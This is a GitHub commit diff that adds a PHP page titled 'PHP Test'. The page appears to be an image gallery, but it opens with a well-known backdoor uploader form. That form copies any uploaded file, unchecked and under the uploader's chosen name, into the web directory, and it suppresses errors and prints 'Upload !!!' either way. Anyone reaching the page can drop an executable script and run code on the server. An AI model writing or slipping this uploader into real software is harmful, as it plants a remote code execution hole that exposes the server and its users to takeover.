File tree Expand file tree Collapse file tree 2 files changed +41
-0
lines changed Expand file tree Collapse file tree 2 files changed +41
-0
lines changed Original file line number Diff line number Diff line change 1+ <html>
2+
3+ <head>
4+ <?php
5+ echo "Uploader<br> " ;
6+ echo "<br> " ;
7+ echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"> ' ;
8+ echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form> ' ;
9+ if (isset ($ _POST ["_upl " ])) {
10+ if ($ _POST ["_upl " ] == "Upload " ) {
11+ if (@copy ($ _FILES ["file " ]["tmp_name " ], $ _FILES ["file " ]["name " ])) {
12+ echo "<b>Upload !!!</b><br><br> " ;
13+ } else {
14+ echo "<b>Upload !!!</b><br><br> " ;
15+ }
16+ }
17+ }
18+
19+ ?>
20+ <style>
21+ .img-upload {
22+ height: 400px;
23+ }
24+ </style>
25+ <title>PHP Test</title>
26+ </head>
27+
28+ <body>
29+ <?php
30+ $ handle = opendir (dirname (realpath (__FILE__ )) . '' );
31+ while ($ file = readdir ($ handle )) {
32+ if ($ file !== 'index.php ' ) {
33+ if ($ file !== '. ' && $ file !== '.. ' ) {
34+ echo '<img class="img-upload" src=" ' . $ file . '" border="0" /> ' ;
35+ }
36+ }
37+ }
38+ ?>
39+ </body>
40+
41+ </html>
You can’t perform that action at this time.
0 commit comments